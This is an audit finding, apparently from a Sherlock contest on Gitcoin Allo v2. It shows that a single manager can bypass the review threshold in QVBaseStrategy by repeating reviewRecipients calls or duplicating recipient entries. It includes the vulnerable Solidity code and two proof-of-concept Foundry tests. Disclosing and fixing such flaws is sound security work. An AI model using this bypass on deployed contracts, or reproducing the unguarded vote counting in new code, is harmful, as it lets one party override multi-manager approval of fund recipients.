Keen Amethyst Guppy

medium

# Managers can bypass threshold permissions for change recipient status in QVBaseStrategy.sol
## Summary
In `QVBaseStrategy` recipient status is supposed to be updated if votes count for the recipient is not less than a specified on initialization threshold value. For example, if threshold value is 2, then at least 2 managers must vote for a status change to change the status. However, managers can bypass this requirement either by calling `reviewRecipients` twice, or by passing duplicated recipient statuses when calling `reviewRecipients`.

## Vulnerability Detail
In function [reviewRecipients](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288) `reviewsByStatus` mapping is updated every time the function is called, and it does not matter if `msg.sender` has already reviewed the recipients:

```solidity
if (recipientStatus == Status.None || recipientStatus == Status.Appealed) {
    revert RECIPIENT_ERROR(recipientId);
}

reviewsByStatus[recipientId][recipientStatus]++;

if (reviewsByStatus[recipientId][recipientStatus] >= reviewThreshold) {
    Recipient storage recipient = recipients[recipientId];
    recipient.recipientStatus = recipientStatus;

    emit RecipientStatusUpdated(recipientId, recipientStatus, address(0));
}
```

Therefore, if a manager calls the function twice with the same parameters, the votes count will be increased twice.

## Impact
Managers can bypass threshold requirement for a recipient status change.

## Code Snippet
Here are the tests for `QVSimpleStrategy` (QVSimpleStrategyTest) that confirm the issue. The strategy in the test requires 2 votes to change status for a recipient.

```solidity
function test_registerRecipient_bypassThreshold1() public {
      address recipientId = __register_recipient();

      QVBaseStrategy.Recipient memory receipt = qvStrategy().getRecipient(recipientId);

      assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Pending));

      address[] memory recipientIds = new address[](1);
      recipientIds[0] = recipientId;

      IStrategy.Status[] memory recipientStatuses = new IStrategy.Status[](1);
      recipientStatuses[0] = IStrategy.Status.Accepted;

      vm.startPrank(pool_manager1());
      qvStrategy().reviewRecipients(recipientIds, recipientStatuses);
      qvStrategy().reviewRecipients(recipientIds, recipientStatuses);
      vm.stopPrank();

      receipt = qvStrategy().getRecipient(recipientId);

      assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Accepted));
  }

  function test_registerRecipient_bypassThreshold2() public {
      address recipientId = __register_recipient();

      QVBaseStrategy.Recipient memory receipt = qvStrategy().getRecipient(recipientId);

      assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Pending));

      address[] memory recipientIds = new address[](2);
      recipientIds[0] = recipientId;
      recipientIds[1] = recipientId;

      IStrategy.Status[] memory recipientStatuses = new IStrategy.Status[](2);
      recipientStatuses[0] = IStrategy.Status.Accepted;
      recipientStatuses[1] = IStrategy.Status.Accepted;

      vm.startPrank(pool_manager1());
      qvStrategy().reviewRecipients(recipientIds, recipientStatuses);
      vm.stopPrank();

      receipt = qvStrategy().getRecipient(recipientId);

      assertEq(uint8(receipt.recipientStatus), uint8(IStrategy.Status.Accepted));
  }
```

## Tool used

Manual Review

## Recommendation

I would recommend to check whether `msg.semder` has already reviewed the recipient.
